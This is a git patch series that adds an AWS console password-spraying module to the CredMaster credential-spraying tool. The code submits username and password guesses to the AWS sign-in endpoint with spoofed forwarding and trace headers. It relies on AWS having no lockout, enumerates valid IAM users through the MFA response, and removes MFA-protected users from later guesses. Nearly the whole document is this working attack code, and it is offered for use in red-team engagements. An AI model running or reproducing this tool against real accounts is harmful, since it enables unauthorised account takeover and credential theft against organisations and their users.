From 8623adbc8a8d6ea4cd58e92448d3a62a7e7225ab Mon Sep 17 00:00:00 2001 From: WebbinRoot <74038921+WebbinRoot@users.noreply.github.com> Date: Sat, 12 Apr 2025 16:00:22 -0500 Subject: [PATCH 1/3] Add Module for AWS user sign in - Made "aws" module based off https://github.com/WhiteOakSecurity/GoAWSConsoleSpray/. Think I covered most of the cases but open to adding more if needed/you see any per comments - Added logic to credmaster.py to remove a user if they are flagged as having MFA to avoid repeat attempts with diff passwords (aws_mfa_blocked status). Lmk if there's a better way to do that within the tool, maybe a new unified status code? Would be cool if there was a way to show both password cracked + usernames enumerated as you just need to grep the log now for usernames enumerated - Would be cool if there was a way to designate in username file what username goes with what AWS account. Can probably do so with but would require more credmaster.py logic rewriting so not sure if there's already an easier way to do so. --- credmaster.py | 47 ++++++++------ plugins/aws/__init__.py | 51 +++++++++++++++ plugins/aws/aws.py | 134 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 212 insertions(+), 20 deletions(-) create mode 100644 plugins/aws/__init__.py create mode 100644 plugins/aws/aws.py diff --git a/credmaster.py b/credmaster.py index a0884d2..676c846 100755 --- a/credmaster.py +++ b/credmaster.py @@ -34,6 +34,8 @@ def __init__(self, args, pargs): self.notify_obj = {} + self.usernames_exclude = [] + self.clean = args.clean self.api_destroy = args.api_destroy self.api_list = args.api_list @@ -535,35 +537,40 @@ def spray_thread(self, api_key, api_dict, pluginargs): self.jitter_min = 0 time.sleep(random.randint(self.jitter_min,self.jitter)) - response = plugin_authentiate(api_dict["proxy_url"], cred["username"], cred["password"], cred["useragent"], pluginargs) + if cred["username"] not in self.usernames_exclude: + + response = plugin_authentiate(api_dict["proxy_url"], cred["username"], cred["password"], cred["useragent"], pluginargs) - # if "debug" in response.keys(): - # print(response["debug"]) + if response["error"]: + self.log_entry(f"ERROR: {api_key}: {cred['username']} - {response['output']}") - if response["error"]: - self.log_entry(f"ERROR: {api_key}: {cred['username']} - {response['output']}") + if response["result"].lower() == "success" and ("userenum" not in pluginargs): + self.results.append( {"username" : cred["username"], "password" : cred["password"]} ) + notify.notify_success(cred["username"], cred["password"], self.notify_obj) + self.log_success(cred["username"], cred["password"]) - if response["result"].lower() == "success" and ("userenum" not in pluginargs): - self.results.append( {"username" : cred["username"], "password" : cred["password"]} ) - notify.notify_success(cred["username"], cred["password"], self.notify_obj) - self.log_success(cred["username"], cred["password"]) + if response["result"].lower() == "aws_mfa_blocked": + self.usernames_exclude.append(cred["username"]) - if response["valid_user"] or response["result"] == "success": - self.log_valid(cred["username"], self.plugin) + if response["valid_user"] or response["result"] == "success": + self.log_valid(cred["username"], self.plugin) - if self.color: + if self.color: - if response["result"].lower() == "success": - self.log_entry(utils.prGreen(f"{api_key}: {response['output']}")) + if response["result"].lower() == "success": + self.log_entry(utils.prGreen(f"{api_key}: {response['output']}")) - elif response["result"].lower() == "potential": - self.log_entry(utils.prYellow(f"{api_key}: {response['output']}")) + elif response["result"].lower() == "potential": + self.log_entry(utils.prYellow(f"{api_key}: {response['output']}")) + + elif response["result"].lower() == "aws_mfa_blocked": + self.log_entry(utils.prYellow(f"{api_key}: {response['output']}")) - elif response["result"].lower() == "failure": - self.log_entry(utils.prRed(f"{api_key}: {response['output']}")) + elif response["result"].lower() == "failure": + self.log_entry(utils.prRed(f"{api_key}: {response['output']}")) - else: - self.log_entry(f"{api_key}: {response['output']}") + else: + self.log_entry(f"{api_key}: {response['output']}") self.q_spray.task_done() except Exception as ex: diff --git a/plugins/aws/__init__.py b/plugins/aws/__init__.py new file mode 100644 index 0000000..d8f0228 --- /dev/null +++ b/plugins/aws/__init__.py @@ -0,0 +1,51 @@ +import requests +import utils.utils as utils +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + +def validate(pluginargs, args): + # + # Plugin Args + # + # --account --> Account you are targeting + # --aws_region_spray --> region to target + # --root -> Trying signing in with the root credentials + + if 'accounts' not in pluginargs.keys(): + error = "Missing url argument, specify as --accounts " + return False, error, None + + if 'aws_region_spray' in pluginargs.keys(): + + region_spray = pluginargs['aws_region_spray'] + pluginargs["url"] = f"https://{region_spray}.signin.aws.amazon.com" + + else: + # Default to us-east-1 if not supplied + pluginargs["url"] = f"https://us-east-1.signin.aws.amazon.com" + + + return True, None, pluginargs + +def testconnect(pluginargs, args, api_dict, useragent): + + url = api_dict['proxy_url'] + + success = True + headers = { + 'User-Agent' : useragent, + "X-My-X-Forwarded-For" : utils.generate_ip(), + "x-amzn-apigateway-api-id" : utils.generate_id(), + "X-My-X-Amzn-Trace-Id" : utils.generate_trace_id(), + } + + headers = utils.add_custom_headers(pluginargs, headers) + + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False) + + if resp.status_code == 504: + output = "Testconnect: Connection failed, endpoint timed out, exiting" + success = False + else: + output = "Testconnect: Connection success, continuing" + + return success, output, pluginargs diff --git a/plugins/aws/aws.py b/plugins/aws/aws.py new file mode 100644 index 0000000..f596062 --- /dev/null +++ b/plugins/aws/aws.py @@ -0,0 +1,134 @@ +import requests +import utils.utils as utils +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + +# Lockout Risks +# Ref: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_passwords_account-policy.html +# You can't create a "lockout policy" to lock a user out of the account after a specified number of failed sign-in attempts. +# TODO: Would be great if there was a way to designate in usernames file which usernames go with which account for multi-accounts + +def aws_authenticate(url, username, password, useragent, pluginargs): + + target_accounts = pluginargs["accounts"].split(",") + + for target_account in target_accounts: + sign_in_url = f"{url}/authenticate" + + spoofed_ip = utils.generate_ip() + amazon_id = utils.generate_id() + trace_id = utils.generate_trace_id() + + headers = { + "X-My-X-Forwarded-For" : spoofed_ip, + "x-amzn-apigateway-api-id" : amazon_id, + "X-My-X-Amzn-Trace-Id" : trace_id, + "User-Agent" : useragent, + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + } + + headers = utils.add_custom_headers(pluginargs, headers) + + post_params = { + "account": target_account, + "action": "iam-user-authentication", + "client_id": "arn:aws:signin:::console/canvas", + "username": username, + "password": password, + "redirect_uri": "https://console.aws.amazon.com/console", + "rememberAccount": "false", + "rememberMfa": "false" + } + + # data returned + data_response = { + 'result' : None, # Can be "success", "failure", "throttle", "mfa_blocked" + 'error' : False, + 'output' : "", + 'valid_user' : False + } + + try: + + # proxies = { + # "http": "http://127.0.0.1:8080", + # "https": "http://127.0.0.1:8080", + # } + http_output = requests.post(f"{sign_in_url}", headers=headers, data=post_params) #, proxies=proxies, verify=False) + + http_output_json = http_output.json() + + username_to_print = f"arn:aws:iam::{target_account}:user/{username}" + if http_output.status_code == 429: + data_response['result'] = "throttle" + status_code = str(http_output.status_code) + data_response['output'] = f"[-] THROTTLED - {status_code} => {username_to_print}" + + + elif http_output.status_code == 200: + region = pluginargs['aws_region_spray'] + state = http_output_json["state"] + http_output_json_prop = http_output_json["properties"] + result = http_output_json_prop.get("result", "Unknown") + text = http_output_json_prop.get("text", "Unknown") + + if state == "FAIL": + + data_response['result'] = "failure" + + # Console User - MFA - Incorrect Region - Good/Bad Password + # Console User - No MFA - Incorrect Region - Bad/Bad Password + # Note: try passing in something like ca-west-1 when its not enabled in account to see region response + if result == "OPT_IN_REGION_FAILURE": + + data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {region} not enabled for account." + + # Console User - No MFA - Correct Region - Bad Password + # Note: Returns redirect link + elif result == "FAILURE": + + data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {text}" + + # Console User - Unknown + # Catch-All for unknown use case + else: + data_response['result'] = "failure" + data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {http_output_json}" + + elif state == "SUCCESS": + + # Console User - MFA - Correct Region - Good Password + # Console User - MFA - Correct Region - Bad Password + # Note: Returns MFA if username is correct regardless of what password is + if result == "MFA": + + data_response['result'] = "mfa_blocked" + data_response['output'] = f"[+] MFA RESTRICT: => {username_to_print}:{password} - User exists, but requires MFA. Password cannot be determined." + + # TODO: Not sure if there is a native way in credmaster to remove this user from further guesses? + + # Console User - No MFA - Correct Region - Good Password + # Note: Returns redirect link + elif result == "SUCCESS": + + data_response['result'] = "success" + data_response['output'] = f"[+] SUCCESS: => {username_to_print}:{password} - {text}" + + # Console User - Unknown + # Success for unknown use case + else: + data_response['result'] = "success" + data_response['output'] = f"[+] UNKNOWN SUCCESS: => {username_to_print}:{password} Success with unknown response." + + # Console User - Unknown + # Catch-All for unknown use case + else: + + data_response['result'] = "failure" + data_response['output'] = f"[-] FAILURE: {http_output.status_code} => Got an error we haven't seen before: {http_output_json_prop}" + + except Exception as ex: + data_response['error'] = True + data_response['output'] = ex + pass + + return data_response \ No newline at end of file From 7c4b9bcbe6d16e815c2c38d83fff2ad6365ad997 Mon Sep 17 00:00:00 2001 From: WebbinRoot <74038921+WebbinRoot@users.noreply.github.com> Date: Sat, 12 Apr 2025 16:08:34 -0500 Subject: [PATCH 2/3] Quick fix for username exclusion Changed status name to ensure username is excluded from future guesses. Might still guess 1-2 times depending on threading but should be removed now --- plugins/aws/aws.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/plugins/aws/aws.py b/plugins/aws/aws.py index f596062..6e3b577 100644 --- a/plugins/aws/aws.py +++ b/plugins/aws/aws.py @@ -41,7 +41,7 @@ def aws_authenticate(url, username, password, useragent, pluginargs): # data returned data_response = { - 'result' : None, # Can be "success", "failure", "throttle", "mfa_blocked" + 'result' : None, # Can be "success", "failure", "throttle", "aws_mfa_blocked" 'error' : False, 'output' : "", 'valid_user' : False @@ -101,7 +101,7 @@ def aws_authenticate(url, username, password, useragent, pluginargs): # Note: Returns MFA if username is correct regardless of what password is if result == "MFA": - data_response['result'] = "mfa_blocked" + data_response['result'] = "aws_mfa_blocked" data_response['output'] = f"[+] MFA RESTRICT: => {username_to_print}:{password} - User exists, but requires MFA. Password cannot be determined." # TODO: Not sure if there is a native way in credmaster to remove this user from further guesses? @@ -111,7 +111,7 @@ def aws_authenticate(url, username, password, useragent, pluginargs): elif result == "SUCCESS": data_response['result'] = "success" - data_response['output'] = f"[+] SUCCESS: => {username_to_print}:{password} - {text}" + data_response['output'] = f"[+] SUCCESS => {username_to_print}:{password}" # Console User - Unknown # Success for unknown use case From 5223ab727bb7a5e00837824f26b1595306e1cbff Mon Sep 17 00:00:00 2001 From: WebbinRoot <74038921+WebbinRoot@users.noreply.github.com> Date: Sat, 12 Apr 2025 16:18:28 -0500 Subject: [PATCH 3/3] Made argument for account number singular --- plugins/aws/__init__.py | 4 +- plugins/aws/aws.py | 224 ++++++++++++++++++++-------------------- 2 files changed, 114 insertions(+), 114 deletions(-) diff --git a/plugins/aws/__init__.py b/plugins/aws/__init__.py index d8f0228..8d8c582 100644 --- a/plugins/aws/__init__.py +++ b/plugins/aws/__init__.py @@ -10,8 +10,8 @@ def validate(pluginargs, args): # --aws_region_spray --> region to target # --root -> Trying signing in with the root credentials - if 'accounts' not in pluginargs.keys(): - error = "Missing url argument, specify as --accounts " + if 'account' not in pluginargs.keys(): + error = "Missing url argument, specify as --account " return False, error, None if 'aws_region_spray' in pluginargs.keys(): diff --git a/plugins/aws/aws.py b/plugins/aws/aws.py index 6e3b577..51216e2 100644 --- a/plugins/aws/aws.py +++ b/plugins/aws/aws.py @@ -9,126 +9,126 @@ def aws_authenticate(url, username, password, useragent, pluginargs): - target_accounts = pluginargs["accounts"].split(",") - - for target_account in target_accounts: - sign_in_url = f"{url}/authenticate" - - spoofed_ip = utils.generate_ip() - amazon_id = utils.generate_id() - trace_id = utils.generate_trace_id() - - headers = { - "X-My-X-Forwarded-For" : spoofed_ip, - "x-amzn-apigateway-api-id" : amazon_id, - "X-My-X-Amzn-Trace-Id" : trace_id, - "User-Agent" : useragent, - "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" - } - - headers = utils.add_custom_headers(pluginargs, headers) - - post_params = { - "account": target_account, - "action": "iam-user-authentication", - "client_id": "arn:aws:signin:::console/canvas", - "username": username, - "password": password, - "redirect_uri": "https://console.aws.amazon.com/console", - "rememberAccount": "false", - "rememberMfa": "false" - } - - # data returned - data_response = { - 'result' : None, # Can be "success", "failure", "throttle", "aws_mfa_blocked" - 'error' : False, - 'output' : "", - 'valid_user' : False - } - - try: - - # proxies = { - # "http": "http://127.0.0.1:8080", - # "https": "http://127.0.0.1:8080", - # } - http_output = requests.post(f"{sign_in_url}", headers=headers, data=post_params) #, proxies=proxies, verify=False) + + target_account = pluginargs["account"] + + sign_in_url = f"{url}/authenticate" + + spoofed_ip = utils.generate_ip() + amazon_id = utils.generate_id() + trace_id = utils.generate_trace_id() + + headers = { + "X-My-X-Forwarded-For" : spoofed_ip, + "x-amzn-apigateway-api-id" : amazon_id, + "X-My-X-Amzn-Trace-Id" : trace_id, + "User-Agent" : useragent, + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + } + + headers = utils.add_custom_headers(pluginargs, headers) + + post_params = { + "account": target_account, + "action": "iam-user-authentication", + "client_id": "arn:aws:signin:::console/canvas", + "username": username, + "password": password, + "redirect_uri": "https://console.aws.amazon.com/console", + "rememberAccount": "false", + "rememberMfa": "false" + } + + # data returned + data_response = { + 'result' : None, # Can be "success", "failure", "throttle", "aws_mfa_blocked" + 'error' : False, + 'output' : "", + 'valid_user' : False + } + + try: + + # proxies = { + # "http": "http://127.0.0.1:8080", + # "https": "http://127.0.0.1:8080", + # } + http_output = requests.post(f"{sign_in_url}", headers=headers, data=post_params) #, proxies=proxies, verify=False) + + http_output_json = http_output.json() + + username_to_print = f"arn:aws:iam::{target_account}:user/{username}" + if http_output.status_code == 429: + data_response['result'] = "throttle" + status_code = str(http_output.status_code) + data_response['output'] = f"[-] THROTTLED - {status_code} => {username_to_print}" + + + elif http_output.status_code == 200: + region = pluginargs['aws_region_spray'] + state = http_output_json["state"] + http_output_json_prop = http_output_json["properties"] + result = http_output_json_prop.get("result", "Unknown") + text = http_output_json_prop.get("text", "Unknown") + + if state == "FAIL": - http_output_json = http_output.json() + data_response['result'] = "failure" - username_to_print = f"arn:aws:iam::{target_account}:user/{username}" - if http_output.status_code == 429: - data_response['result'] = "throttle" - status_code = str(http_output.status_code) - data_response['output'] = f"[-] THROTTLED - {status_code} => {username_to_print}" + # Console User - MFA - Incorrect Region - Good/Bad Password + # Console User - No MFA - Incorrect Region - Bad/Bad Password + # Note: try passing in something like ca-west-1 when its not enabled in account to see region response + if result == "OPT_IN_REGION_FAILURE": - - elif http_output.status_code == 200: - region = pluginargs['aws_region_spray'] - state = http_output_json["state"] - http_output_json_prop = http_output_json["properties"] - result = http_output_json_prop.get("result", "Unknown") - text = http_output_json_prop.get("text", "Unknown") - - if state == "FAIL": - + data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {region} not enabled for account." + + # Console User - No MFA - Correct Region - Bad Password + # Note: Returns redirect link + elif result == "FAILURE": + + data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {text}" + + # Console User - Unknown + # Catch-All for unknown use case + else: data_response['result'] = "failure" + data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {http_output_json}" + + elif state == "SUCCESS": + + # Console User - MFA - Correct Region - Good Password + # Console User - MFA - Correct Region - Bad Password + # Note: Returns MFA if username is correct regardless of what password is + if result == "MFA": + + data_response['result'] = "aws_mfa_blocked" + data_response['output'] = f"[+] MFA RESTRICT: => {username_to_print}:{password} - User exists, but requires MFA. Password cannot be determined. Removing from future guesses" + + # TODO: Not sure if there is a native way in credmaster to remove this user from further guesses? + + # Console User - No MFA - Correct Region - Good Password + # Note: Returns redirect link + elif result == "SUCCESS": + + data_response['result'] = "success" + data_response['output'] = f"[+] SUCCESS => {username_to_print}:{password}" - # Console User - MFA - Incorrect Region - Good/Bad Password - # Console User - No MFA - Incorrect Region - Bad/Bad Password - # Note: try passing in something like ca-west-1 when its not enabled in account to see region response - if result == "OPT_IN_REGION_FAILURE": - - data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {region} not enabled for account." - - # Console User - No MFA - Correct Region - Bad Password - # Note: Returns redirect link - elif result == "FAILURE": - - data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {text}" - - # Console User - Unknown - # Catch-All for unknown use case - else: - data_response['result'] = "failure" - data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {http_output_json}" - - elif state == "SUCCESS": - - # Console User - MFA - Correct Region - Good Password - # Console User - MFA - Correct Region - Bad Password - # Note: Returns MFA if username is correct regardless of what password is - if result == "MFA": - - data_response['result'] = "aws_mfa_blocked" - data_response['output'] = f"[+] MFA RESTRICT: => {username_to_print}:{password} - User exists, but requires MFA. Password cannot be determined." - - # TODO: Not sure if there is a native way in credmaster to remove this user from further guesses? - - # Console User - No MFA - Correct Region - Good Password - # Note: Returns redirect link - elif result == "SUCCESS": - - data_response['result'] = "success" - data_response['output'] = f"[+] SUCCESS => {username_to_print}:{password}" - - # Console User - Unknown - # Success for unknown use case - else: - data_response['result'] = "success" - data_response['output'] = f"[+] UNKNOWN SUCCESS: => {username_to_print}:{password} Success with unknown response." - # Console User - Unknown - # Catch-All for unknown use case + # Success for unknown use case else: + data_response['result'] = "success" + data_response['output'] = f"[+] UNKNOWN SUCCESS: => {username_to_print}:{password} Success with unknown response." + + # Console User - Unknown + # Catch-All for unknown use case + else: - data_response['result'] = "failure" - data_response['output'] = f"[-] FAILURE: {http_output.status_code} => Got an error we haven't seen before: {http_output_json_prop}" + data_response['result'] = "failure" + data_response['output'] = f"[-] FAILURE: {http_output.status_code} => Got an error we haven't seen before: {http_output_json_prop}" - except Exception as ex: - data_response['error'] = True - data_response['output'] = ex - pass + except Exception as ex: + data_response['error'] = True + data_response['output'] = ex + pass return data_response \ No newline at end of file